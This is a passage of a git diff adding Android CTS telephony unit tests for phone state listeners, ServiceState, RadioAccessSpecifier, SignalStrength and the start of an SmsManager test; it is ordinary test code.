+    @Test
+    public void testOnDataActivity() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onDataActivity(int direction) {
+                        synchronized(mLock) {
+                            mOnDataActivityCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_DATA_ACTIVITY);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnDataActivityCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnDataActivityCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnDataActivityCalled);
+    }
+
+    @Test
+    public void testOnCellInfoChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onCellInfoChanged(List<CellInfo> cellInfo) {
+                        synchronized(mLock) {
+                            mOnCellInfoChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_INFO);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnDataActivityCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnCellInfoChangedCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnCellInfoChangedCalled);
+    }
+
+    @Test
+    public void testOnUserMobileDataStateChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onUserMobileDataStateChanged(boolean state) {
+                        synchronized(mLock) {
+                            mOnUserMobileDataStateChanged = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(
+                        mListener, PhoneStateListener.LISTEN_USER_MOBILE_DATA_STATE);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnUserMobileDataStateChanged);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnUserMobileDataStateChanged){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnUserMobileDataStateChanged);
+    }
+
+    @Test
+    public void testOnActiveDataSubscriptionIdChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onActiveDataSubscriptionIdChanged(int subId) {
+                        synchronized(mLock) {
+                            mOnActiveDataSubscriptionIdChanged = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(
+                        mListener, PhoneStateListener.LISTEN_ACTIVE_DATA_SUBSCRIPTION_ID_CHANGE);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnActiveDataSubscriptionIdChanged);
+        t.start();
+
+        synchronized (mLock) {
+            if (!mOnActiveDataSubscriptionIdChanged){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        t.checkException();
+        assertTrue(mOnActiveDataSubscriptionIdChanged);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/RadioAccessSpecifierTest.java b/tests/tests/telephony/current/src/android/telephony/cts/RadioAccessSpecifierTest.java
new file mode 100644
index 0000000..67cae65
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/RadioAccessSpecifierTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Parcel;
+import android.telephony.RadioAccessSpecifier;
+
+import org.junit.Test;
+
+public class RadioAccessSpecifierTest {
+
+    @Test
+    public void testConstructorAndGetters() {
+        // Constructor and getters.
+        int ran = 1;
+        int[] bands = {1, 2, 3, 4};
+        int[] channels = {5, 6, 7};
+        RadioAccessSpecifier radioAccessSpecifier = new RadioAccessSpecifier(ran, bands, channels);
+        assertThat(radioAccessSpecifier.describeContents()).isEqualTo(0);
+        assertThat(radioAccessSpecifier.getRadioAccessNetwork()).isEqualTo(ran);
+        assertThat(radioAccessSpecifier.getBands()).isEqualTo(bands);
+        assertThat(radioAccessSpecifier.getChannels()).isEqualTo(channels);
+
+        // Comparision method.
+        RadioAccessSpecifier toCompare1 = new RadioAccessSpecifier(ran, bands, channels);
+        RadioAccessSpecifier toCompare2 = new RadioAccessSpecifier(ran, new int[] {1, 2, 3, 4},
+                new int[] {5, 6, 7});
+        RadioAccessSpecifier toCompare3 = new RadioAccessSpecifier(ran+1, bands, channels);
+        assertThat(radioAccessSpecifier).isEqualTo(toCompare1);
+        assertThat(radioAccessSpecifier).isEqualTo(toCompare2);
+        assertThat(radioAccessSpecifier).isNotEqualTo(toCompare3);
+
+        // Parcel read and write.
+        Parcel stateParcel = Parcel.obtain();
+        radioAccessSpecifier.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+        toCompare1 = RadioAccessSpecifier.CREATOR.createFromParcel(stateParcel);
+        assertThat(radioAccessSpecifier).isEqualTo(toCompare1);
+
+        // Other methods.
+        assertThat(radioAccessSpecifier.hashCode()).isGreaterThan(0);
+        assertThat(radioAccessSpecifier.toString()).isNotNull();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
new file mode 100644
index 0000000..4c839b1
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static android.telephony.ServiceState.DUPLEX_MODE_FDD;
+import static android.telephony.ServiceState.DUPLEX_MODE_TDD;
+import static android.telephony.ServiceState.DUPLEX_MODE_UNKNOWN;
+import static android.telephony.ServiceState.STATE_OUT_OF_SERVICE;
+import static android.telephony.ServiceState.STATE_POWER_OFF;
+import static android.telephony.ServiceState.ROAMING_TYPE_DOMESTIC;
+import static android.telephony.ServiceState.ROAMING_TYPE_NOT_ROAMING;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.LteVopsSupportInfo;
+import android.telephony.NetworkRegistrationInfo;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+public class ServiceStateTest {
+    private static final String OPERATOR_ALPHA_LONG = "CtsOperatorLong";
+    private static final String OPERATOR_ALPHA_SHORT = "CtsOp";
+    private static final String OPERATOR_NUMERIC = "02871";
+    private static final int SYSTEM_ID = 123;
+    private static final int NETWORK_ID = 456;
+    private static final int CHANNEL_NUMBER_BAND_66 = 66436;
+    private static final int CHANNEL_NUMBER_BAND_33 = 36000;
+    private static final int[] CELL_BANDWIDTH = {1, 2, 3};
+
+    private ServiceState serviceState;
+
+    @Before
+    public void setUp() {
+        serviceState = new ServiceState();
+    }
+
+    @Test
+    public void testDescribeContents() {
+        assertEquals(0, serviceState.describeContents());
+    }
+
+    @Test
+    public void testSetStateOff() {
+        serviceState.setStateOff();
+        assertEquals(STATE_POWER_OFF, serviceState.getState());
+        checkOffStatus(serviceState);
+    }
+
+    @Test
+    public void testSetStateOutOfService() {
+        serviceState.setStateOutOfService();
+        assertEquals(STATE_OUT_OF_SERVICE, serviceState.getState());
+        checkOffStatus(serviceState);
+    }
+
+    @Test
+    public void testSetState() {
+        serviceState.setState(ServiceState.STATE_IN_SERVICE);
+        assertEquals(ServiceState.STATE_IN_SERVICE, serviceState.getState());
+    }
+
+    @Test
+    public void testGetRoaming() {
+        serviceState.setRoaming(false);
+        assertFalse(serviceState.getRoaming());
+        serviceState.setRoaming(true);
+        assertTrue(serviceState.getRoaming());
+    }
+
+    @Test
+    public void testGetIsManualSelection() {
+        serviceState.setIsManualSelection(false);
+        assertFalse(serviceState.getIsManualSelection());
+        serviceState.setIsManualSelection(true);
+        assertTrue(serviceState.getIsManualSelection());
+    }
+
+    @Test
+    public void testGetOperator() {
+        serviceState.setOperatorName(OPERATOR_ALPHA_LONG, OPERATOR_ALPHA_SHORT, OPERATOR_NUMERIC);
+        assertEquals(OPERATOR_ALPHA_LONG, serviceState.getOperatorAlphaLong());
+        assertEquals(OPERATOR_ALPHA_SHORT, serviceState.getOperatorAlphaShort());
+        assertEquals(OPERATOR_NUMERIC, serviceState.getOperatorNumeric());
+    }
+
+    @Test
+    public void testGetCdma() {
+        serviceState.setCdmaSystemAndNetworkId(SYSTEM_ID, NETWORK_ID);
+        assertEquals(SYSTEM_ID, serviceState.getCdmaSystemId());
+        assertEquals(NETWORK_ID, serviceState.getCdmaNetworkId());
+    }
+
+    @Test
+    public void testGetChannelNumber() {
+        serviceState.setChannelNumber(CHANNEL_NUMBER_BAND_66);
+        assertEquals(CHANNEL_NUMBER_BAND_66, serviceState.getChannelNumber());
+    }
+
+    @Test
+    public void testGetCellBandwidths() {
+        serviceState.setCellBandwidths(CELL_BANDWIDTH);
+        assertEquals(CELL_BANDWIDTH, serviceState.getCellBandwidths());
+    }
+
+    @Test
+    public void testGetDuplexMode() {
+        NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .setAccessNetworkTechnology(TelephonyManager.NETWORK_TYPE_GSM)
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .build();
+        serviceState.addNetworkRegistrationInfo(nri);
+        assertEquals(DUPLEX_MODE_UNKNOWN, serviceState.getDuplexMode());
+
+        nri = new NetworkRegistrationInfo.Builder()
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .setAccessNetworkTechnology(TelephonyManager.NETWORK_TYPE_LTE)
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .build();
+        serviceState.addNetworkRegistrationInfo(nri);
+
+        assertEquals(DUPLEX_MODE_FDD, serviceState.getDuplexMode());
+
+        serviceState.setChannelNumber(CHANNEL_NUMBER_BAND_33);
+        assertEquals(DUPLEX_MODE_TDD, serviceState.getDuplexMode());
+    }
+
+    @Test
+    public void testToString() {
+        assertNotNull(serviceState.toString());
+    }
+
+    @Test
+    public void testCopyConstructor() {
+        ServiceState serviceState = getServiceStateWithOperatorName("name", "numeric");
+        assertEquals(serviceState, new ServiceState(serviceState));
+    }
+
+    @Test
+    public void testParcelConstructor() {
+        ServiceState serviceState = getServiceStateWithOperatorName("name", "numeric");
+        Parcel stateParcel = Parcel.obtain();
+        serviceState.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+        assertEquals(serviceState, new ServiceState(stateParcel));
+    }
+
+    @Test
+    public void testHashCode() {
+        ServiceState serviceStateA = getServiceStateWithOperatorName("a", "b");
+        ServiceState serviceStateB = getServiceStateWithOperatorName("a", "b");
+        ServiceState serviceStateC = getServiceStateWithOperatorName("c", "d");
+
+        // well-written hashCode functions shouldn't produce "0"
+        assertNotEquals(serviceStateA.hashCode(), 0);
+        assertNotEquals(serviceStateB.hashCode(), 0);
+
+        // If serviceStateA.equals(serviceStateB), then serviceStateA.hashCode()
+        // should equal serviceStateB.hashCode().
+        assertEquals(serviceStateA.hashCode(), serviceStateB.hashCode());
+        assertEquals(serviceStateA, serviceStateB);
+
+        // If serviceStateA.hashCode() != serviceStateC.hashCode(), then
+        // serviceStateA.equals(serviceStateB) should be false.
+        assertNotEquals(serviceStateA.hashCode(), serviceStateC.hashCode());
+        assertNotEquals(serviceStateA, serviceStateC);
+    }
+
+    @Test
+    public void testRoaming() {
+        ServiceState notRoaming = getServiceStateWithRoamingTypes(ROAMING_TYPE_NOT_ROAMING,
+                                                                    ROAMING_TYPE_NOT_ROAMING);
+        ServiceState dataRoaming = getServiceStateWithRoamingTypes(ROAMING_TYPE_DOMESTIC,
+                                                                    ROAMING_TYPE_NOT_ROAMING);
+        ServiceState voiceRoaming = getServiceStateWithRoamingTypes(ROAMING_TYPE_NOT_ROAMING,
+                                                                    ROAMING_TYPE_DOMESTIC);
+        ServiceState dataVoiceRoaming = getServiceStateWithRoamingTypes(ROAMING_TYPE_NOT_ROAMING,
+                                                                    ROAMING_TYPE_DOMESTIC);
+
+        assertFalse(notRoaming.getRoaming());
+        assertTrue(dataRoaming.getRoaming());
+        assertTrue(voiceRoaming.getRoaming());
+        assertTrue(dataVoiceRoaming.getRoaming());
+    }
+
+    @Test
+    public void testIsManualSelection() {
+        serviceState.setIsManualSelection(false);
+        assertFalse(serviceState.getIsManualSelection());
+        serviceState.setIsManualSelection(true);
+        assertTrue(serviceState.getIsManualSelection());
+    }
+
+    private ServiceState getServiceStateWithOperatorName(String name, String numeric) {
+        ServiceState serviceState = new ServiceState();
+        serviceState.setOperatorName(name, name, numeric);
+        return serviceState;
+    }
+
+    private ServiceState getServiceStateWithRoamingTypes(int dataRoaming, int voiceRoaming) {
+        ServiceState serviceState = new ServiceState();
+        serviceState.setDataRoamingType(dataRoaming);
+        serviceState.setVoiceRoamingType(voiceRoaming);
+        return serviceState;
+    }
+
+    /**
+     * Check the ServiceState fields in STATE_OUT_OF_SERVICE or STATE_POWER_OFF
+     */
+    private void checkOffStatus(ServiceState s) {
+        assertFalse(s.getRoaming());
+        assertNull(s.getOperatorAlphaLong());
+        assertNull(s.getOperatorAlphaShort());
+        assertNull(s.getOperatorNumeric());
+        assertFalse(s.getIsManualSelection());
+    }
+
+    @Test
+    public void testGetRegistrationInfo() {
+        NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setAccessNetworkTechnology(TelephonyManager.NETWORK_TYPE_LTE)
+                .setRegistrationState(NetworkRegistrationInfo.REGISTRATION_STATE_HOME)
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .build();
+        serviceState.addNetworkRegistrationInfo(nri);
+
+        assertEquals(nri, serviceState.getNetworkRegistrationInfo(
+                NetworkRegistrationInfo.DOMAIN_PS, AccessNetworkConstants.TRANSPORT_TYPE_WWAN));
+        assertNull(serviceState.getNetworkRegistrationInfo(
+                NetworkRegistrationInfo.DOMAIN_PS, AccessNetworkConstants.TRANSPORT_TYPE_WLAN));
+        assertNull(serviceState.getNetworkRegistrationInfo(
+                NetworkRegistrationInfo.DOMAIN_CS, AccessNetworkConstants.TRANSPORT_TYPE_WWAN));
+        assertNull(serviceState.getNetworkRegistrationInfo(
+                NetworkRegistrationInfo.DOMAIN_CS, AccessNetworkConstants.TRANSPORT_TYPE_WLAN));
+
+        List<NetworkRegistrationInfo> nris = serviceState.getNetworkRegistrationInfoList();
+        assertEquals(1, nris.size());
+        assertEquals(nri, nris.get(0));
+
+        nri = new NetworkRegistrationInfo.Builder()
+                .setAccessNetworkTechnology(TelephonyManager.NETWORK_TYPE_IWLAN)
+                .setRegistrationState(NetworkRegistrationInfo.REGISTRATION_STATE_HOME)
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WLAN)
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .build();
+        serviceState.addNetworkRegistrationInfo(nri);
+        assertEquals(nri, serviceState.getNetworkRegistrationInfo(
+                NetworkRegistrationInfo.DOMAIN_PS, AccessNetworkConstants.TRANSPORT_TYPE_WLAN));
+
+        nris = serviceState.getNetworkRegistrationInfoListForDomain(
+                NetworkRegistrationInfo.DOMAIN_PS);
+        assertEquals(2, nris.size());
+        assertEquals(nri, nris.get(1));
+
+        nris = serviceState.getNetworkRegistrationInfoList();
+        assertEquals(2, nris.size());
+
+        nris = serviceState.getNetworkRegistrationInfoListForTransportType(
+                AccessNetworkConstants.TRANSPORT_TYPE_WLAN);
+        assertEquals(1, nris.size());
+        assertEquals(nri, nris.get(0));
+    }
+
+    @Test
+    public void testLteVopsSupportInfo() {
+        LteVopsSupportInfo lteVopsSupportInfo =
+                new LteVopsSupportInfo(LteVopsSupportInfo.LTE_STATUS_NOT_AVAILABLE,
+                        LteVopsSupportInfo.LTE_STATUS_NOT_AVAILABLE);
+
+        NetworkRegistrationInfo wwanDataRegState = new NetworkRegistrationInfo(
+                NetworkRegistrationInfo.DOMAIN_PS, AccessNetworkConstants.TRANSPORT_TYPE_WWAN,
+                0, 0, 0, true, null, null, 0, false, false, false, lteVopsSupportInfo, false);
+
+        ServiceState ss = new ServiceState();
+
+        ss.addNetworkRegistrationInfo(wwanDataRegState);
+
+        assertEquals(ss.getNetworkRegistrationInfo(NetworkRegistrationInfo.DOMAIN_PS,
+                AccessNetworkConstants.TRANSPORT_TYPE_WWAN), wwanDataRegState);
+
+        lteVopsSupportInfo =
+                new LteVopsSupportInfo(LteVopsSupportInfo.LTE_STATUS_SUPPORTED,
+                        LteVopsSupportInfo.LTE_STATUS_NOT_SUPPORTED);
+
+        wwanDataRegState = new NetworkRegistrationInfo(
+                NetworkRegistrationInfo.DOMAIN_PS, AccessNetworkConstants.TRANSPORT_TYPE_WWAN,
+                0, 0, 0, true, null, null, 0, false, false, false, lteVopsSupportInfo, false);
+        ss.addNetworkRegistrationInfo(wwanDataRegState);
+        assertEquals(ss.getNetworkRegistrationInfo(NetworkRegistrationInfo.DOMAIN_PS,
+                AccessNetworkConstants.TRANSPORT_TYPE_WWAN), wwanDataRegState);
+        assertEquals(ss.getNetworkRegistrationInfo(NetworkRegistrationInfo.DOMAIN_PS,
+                AccessNetworkConstants.TRANSPORT_TYPE_WWAN).getDataSpecificInfo().getLteVopsSupportInfo(),
+            lteVopsSupportInfo);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
new file mode 100644
index 0000000..604a821
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static android.telephony.NetworkRegistrationInfo.NR_STATE_CONNECTED;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.telephony.CellSignalStrengthCdma;
+import android.telephony.CellSignalStrengthGsm;
+import android.telephony.CellSignalStrengthLte;
+import android.telephony.CellSignalStrengthNr;
+import android.telephony.CellSignalStrengthTdscdma;
+import android.telephony.CellSignalStrengthWcdma;
+import android.telephony.CellSignalStrength;
+import android.telephony.ServiceState;
+import android.telephony.SignalStrength;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test SignalStrength to ensure that valid data is being reported and that invalid data is
+ * not reported.
+ */
+public class SignalStrengthTest {
+    private static final String TAG = "SignalStrengthTest";
+
+    private TelephonyManager mTm;
+    private PackageManager mPm;
+
+    // Check that the device is camped on a cellular cell */
+    private boolean isCamped() {
+        ServiceState ss = mTm.getServiceState();
+        if (ss == null) return false;
+        return (ss.getState() == ServiceState.STATE_IN_SERVICE
+                || ss.getState() == ServiceState.STATE_EMERGENCY_ONLY);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mTm = (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mPm = getContext().getPackageManager();
+    }
+
+    @Test
+    public void testSignalStrength() throws Throwable {
+        if (!mPm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+
+        if (!isCamped()) fail("Device is not camped on cellular");
+
+        SignalStrength ss = mTm.getSignalStrength();
+        assertNotNull("TelephonyManager.getSignalStrength() returned NULL!", ss);
+
+        List<CellSignalStrength> signalStrengths = ss.getCellSignalStrengths();
+
+        assertTrue("No Signal Strength Information Reported!", !signalStrengths.isEmpty());
+
+        Set<Class<? extends CellSignalStrength>> types =
+                new HashSet<Class<? extends CellSignalStrength>>();
+
+        Class<? extends CellSignalStrength> dataType =
+                getSignalStrengthTypeForNetworkType(mTm.getDataNetworkType());
+        if (dataType != null) types.add(dataType);
+
+        Class<? extends CellSignalStrength> voiceType =
+                getSignalStrengthTypeForNetworkType(mTm.getNetworkType());
+
+        // Check if camped for Voice-Only
+        if (dataType == null && voiceType != null) {
+            types.add(voiceType);
+        }
+
+        // Check for SRLTE
+        if (dataType != null && voiceType != null
+                && dataType.equals(CellSignalStrengthLte.class)
+                && voiceType.equals(CellSignalStrengthCdma.class)) {
+            types.add(voiceType);
+        }
+
+        // Check for NR
+        if (isUsingEnDc()) {
+            types.add(CellSignalStrengthNr.class);
+        }
+
+        for (CellSignalStrength css : signalStrengths) {
+            assertTrue("Invalid SignalStrength type detected" + css.getClass(),
+                    types.contains(css.getClass()));
+        }
+
+        assertTrue(!ss.getCellSignalStrengths(dataType).isEmpty()
+                || !ss.getCellSignalStrengths(voiceType).isEmpty());
+    }
+
+    /** Check whether the device is LTE + NR dual connected */
+    private boolean isUsingEnDc() {
+        ServiceState ss = mTm.getServiceState();
+        return ss != null && ss.getNrState() == NR_STATE_CONNECTED;
+    }
+
+    /** Get the CellSignalStrength class type that should be returned when using a network type */
+    private static Class<? extends CellSignalStrength>
+            getSignalStrengthTypeForNetworkType(int networkType) {
+        switch(networkType) {
+            case TelephonyManager.NETWORK_TYPE_GPRS: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_EDGE: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_GSM:
+                return CellSignalStrengthGsm.class;
+            case TelephonyManager.NETWORK_TYPE_UMTS: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_HSDPA: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_HSUPA: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_HSPA: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_HSPAP:
+                return CellSignalStrengthWcdma.class;
+            case TelephonyManager.NETWORK_TYPE_TD_SCDMA:
+                return CellSignalStrengthTdscdma.class;
+            case TelephonyManager.NETWORK_TYPE_CDMA: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_1xRTT: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_EVDO_0: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_EVDO_A: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_EVDO_B: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_EHRPD:
+                return CellSignalStrengthCdma.class;
+            case TelephonyManager.NETWORK_TYPE_LTE: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_LTE_CA:
+                return CellSignalStrengthLte.class;
+            case TelephonyManager.NETWORK_TYPE_IWLAN: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_IDEN: /* fall through */
+            case TelephonyManager.NETWORK_TYPE_NR: /* fall through */
+            default:
+                return null;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
new file mode 100755
index 0000000..3283bc9
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -0,0 +1,530 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.provider.BlockedNumberContract;
+import android.provider.Telephony;
+import android.telephony.SmsMessage;
+import android.telephony.TelephonyManager;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for {@link android.telephony.SmsManager}.
+ *
+ * Structured so tests can be reused to test {@link android.telephony.gsm.SmsManager}
+ */
+public class SmsManagerTest {
+
+    private static final String TAG = "SmsManagerTest";
+    private static final String LONG_TEXT =
+        "This is a very long text. This text should be broken into three " +
+        "separate messages.This is a very long text. This text should be broken into " +
+        "three separate messages.This is a very long text. This text should be broken " +
+        "into three separate messages.This is a very long text. This text should be " +
+        "broken into three separate messages.";;
+    private static final String LONG_TEXT_WITH_32BIT_CHARS =
+        "Long dkkshsh jdjsusj kbsksbdf jfkhcu hhdiwoqiwyrygrvn?*?*!\";:'/,."
+        + "__?9#9292736&4;\"$+$+((]\\[\\℅©℅™^®°¥°¥=¢£}}£∆~¶~÷|√×."
+        + " 😯😆😉😇😂😀👕🎓😀👙🐕🐀🐶🐰🐩⛪⛲ ";
+
+    private static final String SMS_SEND_ACTION = "CTS_SMS_SEND_ACTION";
+    private static final String SMS_DELIVERY_ACTION = "CTS_SMS_DELIVERY_ACTION";
+    private static final String DATA_SMS_RECEIVED_ACTION = "android.intent.action.DATA_SMS_RECEIVED";
+    public static final String SMS_DELIVER_DEFAULT_APP_ACTION = "CTS_SMS_DELIVERY_ACTION_DEFAULT_APP";
+
+    private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
+    private String mDestAddr;
+    private String mText;
+    private SmsBroadcastReceiver mSendReceiver;
+    private SmsBroadcastReceiver mDeliveryReceiver;
+    private SmsBroadcastReceiver mDataSmsReceiver;
+    private SmsBroadcastReceiver mSmsDeliverReceiver;
+    private SmsBroadcastReceiver mSmsReceivedReceiver;
+    private PendingIntent mSentIntent;
+    private PendingIntent mDeliveredIntent;
+    private Intent mSendIntent;
+    private Intent mDeliveryIntent;
+    private Context mContext;
+    private Uri mBlockedNumberUri;
+    private boolean mTestAppSetAsDefaultSmsApp;
+    private boolean mDeliveryReportSupported;
+    private static boolean mReceivedDataSms;
+    private static String mReceivedText;
+
+    private static final int TIME_OUT = 1000 * 60 * 5;
+    private static final int NO_CALLS_TIMEOUT_MILLIS = 1000; // 1 second
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = getContext();
+        mTelephonyManager =
+            (TelephonyManager) getContext().getSystemService(
+                    Context.TELEPHONY_SERVICE);
+        mPackageManager = mContext.getPackageManager();
+        mDestAddr = mTelephonyManager.getLine1Number();
+        mText = "This is a test message";
+
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
